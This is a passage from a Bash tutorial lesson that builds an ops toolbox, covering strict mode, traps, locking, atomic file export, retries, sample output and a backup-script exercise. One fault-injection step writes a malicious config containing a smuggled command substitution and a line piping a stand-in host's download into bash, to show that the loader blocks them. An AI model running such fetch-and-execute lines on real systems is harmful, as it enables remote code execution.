    (( i == n - 1 )) && fn='<script>'            # the bottom "main" of the stack is the script top level
    log::error "  at $fn (${BASH_SOURCE[i]##*/}:${BASH_LINENO[i-1]})"
  done
  return "$rc"
}

util::_on_exit() {
  local rc=$? p
  trap - EXIT
  for p in "${_UTIL_CLEANUP[@]}"; do
    # only delete registered paths; empty strings and / are always skipped
    [[ -n $p && $p != / && -e $p ]] && rm -rf -- "$p"
  done
  (( rc == 0 )) || log::debug "exit $rc, cleanup done"
  exit "$rc"
}

util::_on_signal() {      # util::_on_signal <SIG> <exit_code>: log, then exit with 128+N; EXIT handles cleanup
  log::warn "caught SIG$1, cleaning up"
  exit "$2"
}

util::setup_traps() {     # should only be called once, by the entry script; library functions use util::cleanup_add
  trap 'util::_on_err' ERR
  trap 'util::_on_exit' EXIT
  trap 'util::_on_signal INT 130' INT
  trap 'util::_on_signal TERM 143' TERM
  trap 'util::_on_signal HUP 129' HUP
}

util::cleanup_add() {     # util::cleanup_add <path>...
  _UTIL_CLEANUP+=("$@")
}

util::mktemp_dir() {      # util::mktemp_dir <var_name>: private temp directory (700), deleted on exit
  util::is_identifier "$1" || { log::error "util::mktemp_dir: bad variable name '$1'"; return 2; }
  local __d
  __d=$(mktemp -d "${TMPDIR:-/tmp}/opsctl.XXXXXXXX") || util::die "cannot create temp dir"
  util::cleanup_add "$__d"
  printf -v "$1" '%s' "$__d"
}

# ---------- lock: flock, released automatically when the fd closes, lock file kept permanently ----------
util::lock() {            # util::lock <name> [wait_seconds=0]
  local name=$1 wait=${2:-0}
  local dir=${OPSCTL_LOCK_DIR:-$OPSCTL_HOME/var/lock}
  local file=$dir/$name.lock
  util::require_cmd flock
  mkdir -p -- "$dir"
  exec {_UTIL_LOCK_FD}>>"$file"
  if (( wait > 0 )); then
    flock -w "$wait" "$_UTIL_LOCK_FD" || util::die "lock busy after ${wait}s: $file (another opsctl running?)"
  else
    flock -n "$_UTIL_LOCK_FD" || util::die "lock busy: $file (another opsctl running?)"
  fi
  log::debug "lock acquired: $file (fd $_UTIL_LOCK_FD)"
}

# ---------- retry: exponential backoff + full jitter ----------
# util::retry <tries> <delay> <cmd> [args...]
#   after the n-th failure, wait random(0, min(RETRY_MAX_DELAY, delay * 2^(n-1))) seconds
#   exit codes 2 / 126 / 127 are non-retryable; an optional "--" is ignored
util::retry() {
  local tries=$1 base=$2; shift 2
  [[ ${1-} == -- ]] && shift
  local attempt=1 rc cap=${RETRY_MAX_DELAY:-30} delay ms pause
  while true; do
    if "$@"; then
      (( attempt == 1 )) || log::info "attempt $attempt succeeded: $*"
      return 0
    else
      rc=$?
    fi
    case $rc in
      2|126|127) log::error "not retrying (exit $rc): $*"; return "$rc" ;;
    esac
    if (( attempt >= tries )); then
      log::error "giving up after $tries attempts (exit $rc): $*"
      return "$rc"
    fi
    delay=$(( base * (1 << (attempt - 1)) ))
    (( delay > cap )) && delay=$cap
    ms=$(( ( (RANDOM << 15) | RANDOM ) % (delay * 1000 + 1) ))   # full jitter
    printf -v pause '%d.%03d' $(( ms / 1000 )) $(( ms % 1000 ))
    log::warn "attempt $attempt/$tries failed (exit $rc), retrying in ${pause}s"
    sleep "$pause"
    (( ++attempt ))
  done
}
OPSCTL_EOF

Note util::_on_err in (( i == n - 1 )) && fn=… is not the last line of a function, so a failure there does not affect the return value; util::_on_exit in (( rc == 0 )) || log::debug … is followed by exit "$rc". For every “short-circuit” form, confirm that it is not the last command of a function (Module 1, scenario s11). util::mktemp_dir Following v0.1 util::csv_split approach: first util::is_identifier validate the variable name, then printf -v write it back.

Add lib/cmd_export.sh and lib/cmd_doctor.sh:
# shellcheck shell=bash
# opsctl-summary: export servers.csv atomically (export servers --out FILE [--env ENV])
# lib/cmd_export.sh —— v0.2: allowlist validation → flock → same-directory mktemp → generate → skip if unchanged → atomic mv

export::usage() {
  cat <<EOF
Usage: ${OPSCTL_PROG:-opsctl} export servers --out FILE [options]

Write the header plus matching rows of <data_dir>/servers.csv to FILE.
FILE is replaced atomically; if the content is unchanged it is not rewritten.

Options:
      --out FILE       destination file (its directory must already exist)
  -e, --env ENV        dev | staging | prod | all   (default: from config, else dev)
  -h, --help           show this help
EOF
}

cmd::export() {
  case ${1-} in
    servers)        shift ;;
    -h|--help|help) export::usage; return 0 ;;
    "")             export::usage >&2; return 2 ;;
    *)              util::usage_error "unknown export target: '$1'" ;;
  esac

  local out="" env src data_dir
  while (( $# )); do
    case $1 in
      --out|-e|--env)
        [[ $# -ge 2 && -n $2 ]] || util::usage_error "option '$1' requires an argument"
        if [[ $1 == --out ]]; then out=$2; else config::set_flag env "$2"; fi
        shift 2 ;;
      --out=*)   out=${1#*=}; shift ;;
      --env=*)   config::set_flag env "${1#*=}"; shift ;;
      -h|--help) export::usage; return 0 ;;
      *)         util::usage_error "unknown option for 'export servers': $1" ;;
    esac
  done
  [[ -n $out ]] || util::usage_error "missing required option --out FILE"
  config::get env env src || return 1
  util::in_list "$env" dev staging prod all \
    || util::usage_error "invalid env '$env' (from $src); expected dev|staging|prod|all"
  config::get data_dir data_dir || return 1
  local file=$data_dir/servers.csv
  [[ -r $file ]] || util::die "cannot read $file (run ~/bashlab/make-data.sh first?)"

  util::lock export 10                          # only one export at a time (Module 4)

  local tmp rows
  tmp=$(mktemp "$(dirname -- "$out")/.${out##*/}.XXXXXX")   # same directory → mv is an atomic rename (Module 3)
  util::cleanup_add "$tmp"                      # midway failure / signal: EXIT trap deletes it; after mv it no longer exists

  log::info "exporting servers (env=$env) -> $out"
  awk -F, -v env="$env" 'NR == 1 || env == "all" || $2 == env' "$file" >"$tmp"
  rows=$(( $(wc -l <"$tmp") - 1 ))
  (( rows > 0 )) || util::die "no servers matched env=$env; $out left unchanged"

  if [[ -f $out ]] && cmp -s -- "$tmp" "$out"; then
    log::info "unchanged, not rewriting $out"   # idempotent (Module 4)
    return 0
  fi
  chmod 0644 -- "$tmp"
  mv -f -- "$tmp" "$out"
  log::info "wrote $rows row(s) to $out"
}
# shellcheck shell=bash
# opsctl-summary: check bash version, dependencies, data and lock dirs (read-only)
# lib/cmd_doctor.sh —— v0.2: collect all problems and then return together, rather than exiting at the first one

cmd::doctor() {
  case ${1-} in
    -h|--help|help) printf 'Usage: %s doctor\n\nCheck the environment; exit 3 if anything is missing.\n' "${OPSCTL_PROG:-opsctl}"; return 0 ;;
    "") ;;
    *)  util::usage_error "unexpected argument: $1" ;;
  esac
  local problems=0 c data_dir lockdir
  log::info "opsctl $OPSCTL_VERSION at $OPSCTL_HOME, bash $BASH_VERSION"
  for c in awk mktemp flock timeout; do
    if command -v -- "$c" >/dev/null; then
      log::info "ok: $c"
    else
      log::error "missing: $c"; problems=$(( problems + 1 ))
    fi
  done
  config::get data_dir data_dir || return 1
  if [[ -r $data_dir/servers.csv ]]; then
    log::info "ok: $data_dir/servers.csv"
  else
    log::error "not readable: $data_dir/servers.csv"; problems=$(( problems + 1 ))
  fi
  lockdir=${OPSCTL_LOCK_DIR:-$OPSCTL_HOME/var/lock}
  mkdir -p -- "$lockdir"                        # idempotent: no error if it already exists
  if [[ -w $lockdir ]]; then
    log::info "ok: lock dir $lockdir"
  else
    log::error "not writable: $lockdir"; problems=$(( problems + 1 ))
  fi
  (( problems == 0 )) || util::die "$problems problem(s) found" 3
  log::info "all checks passed"
}

doctor uses problems=$(( problems + 1 )) to collect all problems instead of exiting at the first failure — this is a typical case where relying on set -e is unsuitable (Module 1, When). test/flaky.sh Seethe Module 6 lab. export deliberately does not check in advance whether the output directory exists, so you see the ERR report at Step 7; production code can check first and then util::die.

Replace bin/opsctl (compared with v0.1 there are only 5 differences: the comments, the version requirement 4.4, strict mode + root PATH, the version number,util::setup_traps; and one added line in usage documenting environment variables):
#!/usr/bin/env bash
# opsctl —— entry point of the ~/bashlab ops toolbox (v0.2, Lesson 4: strict mode + trap + lock + logging + retry)
# usage: opsctl [global options] <subcommand> [subcommand options]
# shellcheck source-path=SCRIPTDIR/..
# exit codes: 0 success · 1 general error · 2 usage error · 3 missing dependency

# 0) interpreter check: written as two statements; dash/sh exits at the first one and never parses (( ))
if [ -z "${BASH_VERSION-}" ]; then echo "opsctl: please run with bash, not sh" >&2; exit 3; fi
if (( BASH_VERSINFO[0] < 4 || (BASH_VERSINFO[0] == 4 && BASH_VERSINFO[1] < 4) )); then
  echo "opsctl: bash >= 4.4 required (found $BASH_VERSION); on macOS: brew install bash" >&2
  exit 3
fi
if shopt -qo posix; then   # on systems where sh is bash, running sh opsctl enters POSIX mode
  echo "opsctl: run as 'bash opsctl' or './opsctl', not in POSIX mode" >&2
  exit 3
fi

# v0.2: strict mode (Lesson 4, Module 1). Placed after the version check so older Bash gets a clear message first
set -Eeuo pipefail
shopt -s inherit_errexit           # Bash >= 4.4: command substitutions also obey set -e

# v0.2: when running as root, do not trust the caller's PATH (Module 7)
if (( EUID == 0 )); then
  PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
fi

# 1) locate the install directory (resolve symlinks, so ln -s to ~/.local/bin works)
OPSCTL_HOME=$(cd -- "$(dirname -- "$(readlink -f -- "${BASH_SOURCE[0]}")")/.." && pwd) || exit 1
readonly OPSCTL_HOME
readonly OPSCTL_VERSION="0.2.0"
OPSCTL_PROG=${0##*/}
readonly OPSCTL_PROG

# 2) load libraries (order matters: util uses log, config uses util and log)
# shellcheck source=lib/log.sh
source "$OPSCTL_HOME/lib/log.sh" || exit 1
# shellcheck source=lib/util.sh
source "$OPSCTL_HOME/lib/util.sh" || exit 1
# shellcheck source=lib/config.sh
source "$OPSCTL_HOME/lib/config.sh" || exit 1

opsctl::list_commands() {      # scan lib/cmd_*.sh for the "# opsctl-summary:" comment
  local f name line summary
  for f in "$OPSCTL_HOME"/lib/cmd_*.sh; do
    [[ -e $f ]] || continue
    name=${f##*/cmd_}
    name=${name%.sh}
    summary=""
    while IFS= read -r line; do
      if [[ $line == '# opsctl-summary: '* ]]; then summary=${line#'# opsctl-summary: '}; break; fi
    done < "$f"
    printf '  %-16s %s\n' "$name" "$summary"
  done
}

opsctl::usage() {
  cat <<EOF
$OPSCTL_PROG $OPSCTL_VERSION - ops toolbox for ~/bashlab

Usage: $OPSCTL_PROG [global options] <command> [command options]

Global options:
  -c, --config FILE  config file (default: \$OPSCTL_HOME/etc/opsctl.conf)
  -v, --verbose      debug logging (same as OPSCTL_LOG_LEVEL=debug)
  -h, --help         show this help
  -V, --version      show version

Commands:
$(opsctl::list_commands)
  help [COMMAND]   show help for a command

Precedence: flags > environment (OPSCTL_*) > config file > defaults
Runtime env: OPSCTL_LOG_FILE, OPSCTL_LOCK_DIR, RETRY_MAX_DELAY, NO_COLOR
Exit codes: 0 ok, 1 error, 2 usage error, 3 missing dependency
EOF
}

opsctl::load_command() {       # opsctl::load_command <name>: source lib/cmd_<name>.sh
  local name=$1 file
  [[ $name =~ ^[a-z][a-z0-9_]*$ ]] || return 1      # reject path injection such as ../
  file=$OPSCTL_HOME/lib/cmd_$name.sh
  [[ -r $file ]] || return 1
  # shellcheck source=/dev/null
  source "$file" || return 1
  declare -F "cmd::$name" >/dev/null                # the file must define cmd::<name>
}

opsctl::main() {
  util::setup_traps                                 # v0.2: ERR reporting, EXIT cleanup, INT/TERM/HUP
  local config_flag=""
  while (( $# )); do                                # only parse global options before the subcommand
    case $1 in
      -c|--config)
        [[ $# -ge 2 && -n $2 ]] || util::usage_error "option '$1' requires an argument"
        config_flag=$2; shift 2 ;;
      --config=*)   config_flag=${1#*=}; shift ;;
      -v|--verbose) config::set_flag log_level debug; shift ;;
      -h|--help)    opsctl::usage; return 0 ;;
      -V|--version) printf '%s %s\n' "$OPSCTL_PROG" "$OPSCTL_VERSION"; return 0 ;;
      --)           shift; break ;;
      -*)           util::usage_error "unknown global option: $1" ;;
      *)            break ;;
    esac
  done

  config::init "$config_flag" || return 1

  local cmd=${1-}
  case $cmd in
    "")
      opsctl::usage >&2
      return 2 ;;
    help)
      shift
      if (( $# == 0 )); then opsctl::usage; return 0; fi
      opsctl::load_command "$1" || util::usage_error "unknown command: $1"
      "cmd::$1" --help
      return ;;
    version)
      printf '%s %s\n' "$OPSCTL_PROG" "$OPSCTL_VERSION"
      return 0 ;;
  esac
  shift
  opsctl::load_command "$cmd" || util::usage_error "unknown command: $cmd"
  log::debug "dispatch: cmd::$cmd $*"
  "cmd::$cmd" "$@"
}

opsctl::main "$@"
cd ~/bashlab/opsctl && chmod +x bin/opsctl test/flaky.sh && mkdir -p var/lock && export NO_COLOR=1
git diff --stat v0.1.0 2>/dev/null
bin/opsctl -V
bin/opsctl --help | sed -n '/^Commands:/,/^  help/p'
bin/opsctl 2>/dev/null; echo "rc=$?"
bin/opsctl bogus; echo "rc=$?"
bin/opsctl servers list --env prod | wc -l
opsctl 0.2.0
Commands:
  config           show effective configuration and where each value came from
  doctor           check bash version, dependencies, data and lock dirs (read-only)
  export           export servers.csv atomically (export servers --out FILE [--env ENV])
  servers          query the server inventory (servers list --env ENV)
  help [COMMAND]   show help for a command
rc=2
2026-11-17T02:37:38-0500 ERROR opsctl[266]: unknown command: bogus
Try 'opsctl --help' for more information.
rc=2
4

With no arguments, v0.1's return 2 did not trigger a call stack (util::_on_err skipping the explicit return); wc -l is 4 = header + 3 data lines; the logs did not mix into stdout.

doctor and missing dependencies:
bin/opsctl doctor; echo "rc=$?"
2026-11-17T02:37:38-0500 INFO  opsctl[284]: opsctl 0.2.0 at ~/bashlab/opsctl, bash 5.2.37(1)-release
2026-11-17T02:37:38-0500 INFO  opsctl[284]: ok: awk
2026-11-17T02:37:38-0500 INFO  opsctl[284]: ok: mktemp
2026-11-17T02:37:38-0500 ERROR opsctl[284]: missing: flock
2026-11-17T02:37:38-0500 INFO  opsctl[284]: ok: timeout
2026-11-17T02:37:38-0500 INFO  opsctl[284]: ok: ~/bashlab/data/servers.csv
2026-11-17T02:37:38-0500 INFO  opsctl[284]: ok: lock dir ~/bashlab/opsctl/var/lock
2026-11-17T02:37:38-0500 ERROR opsctl[284]: 1 problem(s) found
rc=3

On Linux with util-linux installed you will see ok: flock and all checks passed, exit code 0; in that case running export will not show the following missing required command(s): flock (exit code 3).

export: atomic write, idempotence, allowlist:
bin/opsctl export servers --out ~/bashlab/prod.csv --env prod; echo "rc=$?"
bin/opsctl export servers --out ~/bashlab/prod.csv --env prod; echo "rc=$?"
bin/opsctl -v export servers --out ~/bashlab/all.csv --env all; echo "rc=$?"
bin/opsctl export servers --out x.csv --env qa; echo "rc=$?"
ls -A var/lock
2026-11-17T02:37:38-0500 INFO  opsctl[293]: exporting servers (env=prod) -> ~/bashlab/prod.csv
2026-11-17T02:37:39-0500 INFO  opsctl[293]: wrote 3 row(s) to ~/bashlab/prod.csv
rc=0
2026-11-17T02:37:39-0500 INFO  opsctl[308]: exporting servers (env=prod) -> ~/bashlab/prod.csv
2026-11-17T02:37:39-0500 INFO  opsctl[308]: unchanged, not rewriting ~/bashlab/prod.csv
rc=0
2026-11-17T02:37:39-0500 DEBUG opsctl[323]: config file: ~/bashlab/opsctl/etc/opsctl.conf
2026-11-17T02:37:39-0500 DEBUG opsctl[323]: dispatch: cmd::export servers --out ~/bashlab/all.csv --env all
2026-11-17T02:37:39-0500 DEBUG opsctl[323]: lock acquired: ~/bashlab/opsctl/var/lock/export.lock (fd 10)
2026-11-17T02:37:39-0500 INFO  opsctl[323]: exporting servers (env=all) -> ~/bashlab/all.csv
2026-11-17T02:37:39-0500 INFO  opsctl[323]: wrote 5 row(s) to ~/bashlab/all.csv
rc=0
2026-11-17T02:37:39-0500 ERROR opsctl[338]: invalid env 'qa' (from flag); expected dev|staging|prod|all
Try 'opsctl --help' for more information.
rc=2
export.lock
Fault injection: unexpected failure → call stack:
bin/opsctl export servers --out ~/bashlab/nope/prod.csv --env prod; echo "rc=$?"
mktemp: failed to create file via template '~/bashlab/nope/.prod.csv.XXXXXX': No such file or directory
2026-11-17T02:37:40-0500 ERROR opsctl[346]: command failed (exit 1): tmp=$(mktemp "$(dirname -- "$out")/.${out##*/}.XXXXXX")
2026-11-17T02:37:40-0500 ERROR opsctl[346]:   at cmd::export (cmd_export.sh:51)
2026-11-17T02:37:40-0500 ERROR opsctl[346]:   at opsctl::main (opsctl:126)
2026-11-17T02:37:40-0500 ERROR opsctl[346]:   at <script> (opsctl:129)
rc=1

printed only once (BASH_SUBSHELL the check skipped the ERR inside the command substitution). If you comment out that line and run again, you will see two nearly identical reports — compare with the troubleshooting entry in Module 2.

Fault injection: malicious config (v0.1's config::load_file already blocks this):
printf 'env = $(touch /tmp/PWNED)\ncurl http://example.invalid | bash\n' > ~/bashlab/evil.conf
bin/opsctl -c ~/bashlab/evil.conf servers list; echo "rc=$?"; ls /tmp/PWNED 2>/dev/null || echo "no PWNED"
2026-11-17T02:37:40-0500 ERROR opsctl[356]: ~/bashlab/evil.conf:2: invalid line: curl http://example.invalid | bash
rc=1
no PWNED

Line 1 is treated as a plain string (not executed), line 2 has an invalid format, and config loading fails with exit code 1. If the config file source is sourced, both lines would be executed (Module 7).

Save logs and retry:
OPSCTL_LOG_FILE=~/bashlab/opsctl.log bin/opsctl export servers --out ~/bashlab/prod.csv --env prod 2>/dev/null
cat ~/bashlab/opsctl.log
bash -c '. lib/log.sh; . lib/util.sh; util::retry 5 1 ./test/flaky.sh 2'; echo "rc=$?"
2026-11-17T02:37:40-0500 INFO  opsctl[361]: exporting servers (env=prod) -> ~/bashlab/prod.csv
2026-11-17T02:37:40-0500 INFO  opsctl[361]: unchanged, not rewriting ~/bashlab/prod.csv
flaky: call 1 -> fail
2026-11-17T02:37:40-0500 WARN  opsctl[377]: attempt 1/5 failed (exit 1), retrying in 0.131s
flaky: call 2 -> fail
2026-11-17T02:37:41-0500 WARN  opsctl[377]: attempt 2/5 failed (exit 1), retrying in 0.815s
flaky: call 3 -> ok
2026-11-17T02:37:42-0500 INFO  opsctl[377]: attempt 3 succeeded: ./test/flaky.sh 2
rc=0
Interruption and locks (needs flock, two terminals):
# terminal 1: hold the export lock manually for 30 seconds (flock's “wrap a command” form)
flock ~/bashlab/opsctl/var/lock/export.lock sleep 30
# terminal 2: export waits 10 seconds, then gives up
time ~/bashlab/opsctl/bin/opsctl export servers --out ~/bashlab/prod.csv; echo "rc=$?"
2026-11-17T10:40:12+0000 ERROR opsctl[52011]: lock busy after 10s: /home/you/bashlab/opsctl/var/lock/export.lock (another opsctl running?)

real    0m10.02s
rc=1
# signal cleanup: simulate a long task with the library function, then send TERM
bash -c '. ~/bashlab/opsctl/lib/log.sh; . ~/bashlab/opsctl/lib/util.sh
  util::setup_traps; util::mktemp_dir d; echo "$d" > ~/bashlab/dpath; sleep 20 & wait $!' & p=$!
sleep 1; kill -TERM $p; wait $p; echo "rc=$?"
d=$(cat ~/bashlab/dpath); [[ -e $d ]] && echo "left $d" || echo "cleaned $d"
2026-11-17T02:37:47-0500 WARN  opsctl[407]: caught SIGTERM, cleaning up
rc=143
cleaned $TMPDIR/opsctl.EmG1UZf3

Because sleep 20 & wait $!, TERM is handled within 1 second (Module 2); if changed to foreground sleep 20 it waits 20 seconds. After exit the background sleep still runs to completion; production code should terminate it during cleanup.

Commit and cleanup:
rm -f -- ~/bashlab/evil.conf ~/bashlab/dpath ~/bashlab/prod.csv ~/bashlab/all.csv ~/bashlab/opsctl.log
cd ~/bashlab/opsctl && printf 'var/\n' >> .gitignore
git add -A && git commit -m "opsctl v0.2: strict mode, traps, lock, logging, retry" && git tag v0.2.0

var/ (lock files, flaky counters) are runtime state and are not committed to the repository. Keep ~/bashlab/opsctl— Lesson 5 builds on it by adding logs report.

Acceptance checklist

Case 1: hardening an ops script library that “just happens to run”

Problem: The team has 40 ops scripts, each with a copy-pasted and differently versioned log function; some scripts print nothing when they fail. Fix: Extract, the opsctl way, lib/log.sh,lib/util.sh, with a unified entry point set -Eeuo pipefail + util::setup_traps; when migrating script by script, first run each one and fix the problems strict mode exposes (mostly unset variables and grep no-match cases). Limitation: Old and new behavior differ during migration, so regression testing in a test environment is needed (Lesson 7 bats).

Case 2: driving alerts with exit codes

Problem: Monitoring only alerts on “non-zero”; missing dependency (3) and runtime failure (1) are mixed together, so on-call staff cannot tell an environment problem from a business problem. Fix: Keep the 0/1/2/3 convention; classify alert rules by exit code; treat lock conflicts in cron as skips.

Case 3: doctor as a pre-deployment check

Problem: A new machine lacked flock, and this was only discovered when the first scheduled job failed. Fix: Run immediately after deployment opsctl doctor, a non-zero result fails the deployment (Lesson 7 puts it into CI).

Interactive troubleshooting tree: opsctl v0.2 failed

Start from the symptom, answer the questions step by step, and get the diagnosis and fix commands.

Common issues after upgrading to v0.2

opsctl: bash >= 4.4 required (found 3.2.57(1)-release)

Cause: macOS ships with Bash; v0.2 requires inherit_errexit (4.4). Fix:brew install bash, confirm #!/usr/bin/env bash finds the new version (type -a bash).

line N: xxx: unbound variable (in code you added yourself)

Cause: v0.2 enables set -u. Fix: For optional variables, use ${x-} / ${x:-default}, and for required ones use ${x:?explanation}; configuration values always go through config::get.

The subcommand has no output, exit code 1, and no ERROR log

Cause: the function ends with return 1 —util::_on_err deliberately does not report explicit return; or the failure occurred in an if / || condition and was swallowed.

bash -x ~/bashlab/opsctl/bin/opsctl servers list --env dev 2>&1 | tail -15

Fix: Use for expected failures util::die "reason" to log; for unexpected failures let the command fail on its own (ERR will report it).

missing required command(s): flock

Cause: export requires util-linux's flock. Fix: See the Module 4 troubleshooting; opsctl doctor list all missing items at once.

Command-line exercises
1. Run export at debug level, save the log to a file, and keep terminal output.
OPSCTL_LOG_FILE=~/bashlab/log/opsctl.log ~/bashlab/opsctl/bin/opsctl -v export servers --out ~/bashlab/prod.csv
2. Add a new subcommand to opsctl version_check What needs to change?
# only create lib/cmd_version_check.sh:
#   write "# opsctl-summary: …" on line 2, and define cmd::version_check (supports -h/--help)
# bin/opsctl needs no change: opsctl::list_commands / load_command discover it automatically; exit codes follow 0/1/2/3
Scenario analysis
Someone suggests: “So that the ERR trap also reports usage errors, change all util::usage_error to return 2.” Do you agree?

I disagree. Usage errors are expected failures; they should print one clear error line and “Try --help”, and exit with 2; a call stack would only confuse users. exit They do not trigger ERR, which cleanly separates “expected” from “unexpected”. Also, return 2 is swallowed when called in a conditional context, so it is less reliable than exit ; v0.2's ERR handling also deliberately skips explicit return.

Verified teaching videos

▶
How To Write Bash Scripts In Linux - Complete Guide (Part 17 - Backup Script) — Learn Linux TV
English · a complete ops script example; compare with this lesson's checklist to find the defensive measures it lacks (strict mode, trap, lock, logging)
▶
Bash Scripting Tutorial for Beginners — freeCodeCamp.org
English · introductory review (does not cover this lesson's error-handling details)
▶
Bash Scripting Full Course 3 Hours — linuxhint
English · 3-hour full course, a supplement to Lessons 1–4

Reference

Video storyboard (about 90 seconds)

Shot 1 · 0–20s
Visual: the opsctl directory tree; files added or changed in v0.2 highlight in turn; config.sh and cmd_servers.sh stay grey, “unchanged”.
Narration: v0.2 changes no conventions; it only adds safeguards in the entry point and the libraries.
Shot 2 · 20–45s
Visual: export execution flow chart: validate, lock, temporary file, compare, rename.
Narration: one export: validate arguments first, then lock, write a temporary file in the same directory, skip if content is unchanged, and finally rename atomically.
Shot 3 · 45–70s
Visual: fault injection panel: missing flock shows 3, bad arguments show 2, mktemp failure shows a call stack and 1.
Narration: every kind of failure has a defined exit code and a clear log.
Shot 4 · 70–90s
Visual: after TERM, temporary files are swept away and the lock icon opens automatically.
Narration: however it exits, EXIT cleans up temporary files and the kernel releases the lock.
or score ≥ 70% on the quiz

Command cheat sheet

Bash 5.3 · error handling and defensive scripting · every code block can be copied with one click
After-class reference

Script header (opsctl style)

#!/usr/bin/env bash
set -Eeuo pipefail
shopt -s inherit_errexit          # Bash ≥ 4.4
trap 'on_err' ERR                 # report
trap 'on_exit' EXIT               # cleanup (the single exit point)
trap 'exit 130' INT
trap 'exit 143' TERM

Where set -e does not take effect (manual)

while/until conditions · if/elif tests
&& / || commands other than the last one
pipeline commands other than the last (affected by pipefail)
commands negated with !
function bodies / inside compound commands called in the contexts above
local/declare/export x=$(cmd)  — swallows the exit code
echo "$(cmd)" — command substitution does not inherit -e by default

Safe form comparison

local x; x=$(cmd)                 # does not swallow the exit code
((++i))                           # instead of ((i++))
grep -q pat file || true          # when no match is acceptable
f() { if [[ -n $x ]]; then …; fi; }  # do not end with &&
cmd || return                     # critical steps inside a function
"${arr[@]}"                       # Bash ≥ 4.4 empty-array safe
${1:?usage: …} ${v:-default} [[ -v name ]]

Pipes

set -o pipefail
a | b | c; ps=("${PIPESTATUS[@]}")   # copy immediately
seq 1 1e6 | awk 'NR==1'              # avoid the 141 caused by head
out=$(producer); grep -q x <<<"$out"

trap

trap -p                     # view
trap - EXIT                 # restore default (at the start of an EXIT handler)
trap '' INT                 # ignore (inherited by child processes)
set -E                      # ERR enters functions / subshells
set -T                      # DEBUG/RETURN enters functions
sleep 60 & wait $!          # let the trap run promptly
on_err(){ echo "$? $BASH_COMMAND ${FUNCNAME[1]}:${BASH_LINENO[0]}" >&2; }

mktemp and atomic replacement

d=$(mktemp -d "${TMPDIR:-/tmp}/job.XXXXXXXX")
trap 'rm -rf -- "${d:?}"' EXIT
t=$(mktemp "$(dirname -- "$out")/.${out##*/}.XXXXXX")
gen >"$t" && chmod 0644 -- "$t" && mv -f -- "$t" "$out"

flock

flock -n -E 75 /run/lock/job.lock job.sh     # cron
exec {fd}>>"$lock"; flock -n "$fd" || exit 1  # inside the script
flock -w 10 "$fd"                             # wait at most 10 seconds
worker {fd}>&- &                              # child processes do not inherit the lock
lslocks | grep job.lock                       # who holds it

Logging

printf -v ts '%(%Y-%m-%dT%H:%M:%S%z)T' -1
printf '%s %-5s %s[%d]: %s\n' "$ts" WARN "${0##*/}" $$ "msg" >&2
[[ -t 2 && -z ${NO_COLOR:-} ]] && color=1
logger -t opsctl -p user.err "msg"; journalctl -t opsctl

Retries and timeouts

util::retry 5 1 timeout -k 5 10 curl -fsS "$url"
delay=$(( base * (1 << (n-1)) )); (( delay > cap )) && delay=$cap
sleep $(( RANDOM % (delay + 1) ))        # full jitter (whole-second version)
# timeout exit codes: 124 timed out · 125 timeout itself failed · 126 not executable · 127 not found · 137 KILL
export -f f; timeout 10 bash -c f        # add a timeout to a function

Security

rm -- "$f"; cat -- *; for f in ./*; do …; done
find . -type f -print0 | while IFS= read -r -d '' f; do …; done
find . -name '*.tmp' -exec rm -f -- {} +
[[ $n =~ ^[0-9]+$ ]] || exit 2           # validate before entering arithmetic
[[ $env =~ ^(dev|staging|prod)$ ]]       # allowlist
printf -v q '%q' "$x"; ssh h "cmd $q"    # escape across shells
printf -v "$name" '%s' "$val"            # replaces eval
(( EUID == 0 )) && PATH=/usr/sbin:/usr/bin:/sbin:/bin

Exit code quick reference

CodeMeaningCodeMeaning
0Success124timeout expired
1general error (opsctl convention)126command found but not executable
2usage error (opsctl convention; Bash builtin usage errors are also 2)127command not found
3missing dependency (opsctl convention)128+Nterminated by signal N: 130 INT, 137 KILL, 141 PIPE, 143 TERM

Capstone lab + final quiz

Rewrite a “seemingly working” backup script as a defensive script: strict mode, trap, lock, temporary files, validation, atomic replacement, safe rotation, retries and timeouts
After class ≈ 30 minIntegrates all modules
Scenario Below is a cron backup script that has run for two years on the team. Three things happened recently: one day several non-backup files were accidentally deleted from the backup directory; when the disk was full it still printed “backup ok”; and when two instances overlapped they produced a corrupted archive. In ~/bashlab/ch04/ , rewrite it as backup-safe.sh, reusing opsctl v0.2's lib/log.sh and lib/util.sh.
#!/bin/bash
cd ~/bashlab/backups
tar czf data-$(date +%F).tgz ~/bashlab/data
cp data-$(date +%F).tgz ~/bashlab/remote/
ls -t | tail -n +4 | xargs rm -f
echo "backup ok"
Find the problems (list them yourself first, then expand to compare)
Reference answer: at least 9 problems
  1. No strict mode: any step that fails keeps going, and “backup ok” is still printed at the end (Module 1).
  2. cd When a failure occurs (the directory does not exist), the following ls | xargs rm runs in the current directory— deleting files in the wrong directory (Modules 1, 7).
  3. ls -t | tail | xargs rm will delete any file in the directory (not just backups), and filenames containing spaces or newlines are split incorrectly (Module 7).
  4. date is called twice, so across midnight the filenames are inconsistent,cp and files cannot be found (compute the same value only once).
  5. Writing the target file directly: a failure leaves a half-written archive, and it conflicts with the old backup of the same name (Module 3).
  6. No lock: when runs overlap, two tar processes write the same file (Module 4).
  7. No validation: corrupted archives are also “uploaded” and kept (Module 3).
  8. Upload has no timeout or retry (Module 6).
  9. Logs go to stdout with no timestamps or levels, so failures cannot be judged from cron mail (Module 5); variables and paths are unquoted (Module 7).
Prepare directories and data:
mkdir -p ~/bashlab/backups ~/bashlab/remote ~/bashlab/ch04
ls ~/bashlab/data ~/bashlab/opsctl/lib   # needs Lesson 1 data and this lesson's opsctl v0.2
Write backup-safe.sh (write it yourself first, then compare with the reference implementation):
Reference implementation
#!/usr/bin/env bash
# backup-safe.sh [keep count] —— defensive backup: lock + temp file + validation + atomic replace + safe rotation + retried “upload”
set -Eeuo pipefail
shopt -s inherit_errexit nullglob
OPSCTL_HOME="$HOME/bashlab/opsctl"
OPSCTL_PROG=backup
. "$OPSCTL_HOME/lib/log.sh"
. "$OPSCTL_HOME/lib/util.sh"
util::setup_traps

keep=${1:-3}
[[ $keep =~ ^[1-9][0-9]*$ ]] || util::die "keep count must be a positive integer: $keep" "$EX_USAGE"
src="$HOME/bashlab/data"
dest="$HOME/bashlab/backups"
remote="$HOME/bashlab/remote"          # simulate remote storage with a local directory
util::require_cmd tar flock timeout
mkdir -p -- "$dest" "$remote"

util::lock backup 0                     # give up immediately if a backup is already running

name="data-$(printf '%(%Y%m%d-%H%M%S)T' -1).tgz"
tmp=$(mktemp "$dest/.${name}.XXXXXX")
util::cleanup_add "$tmp"

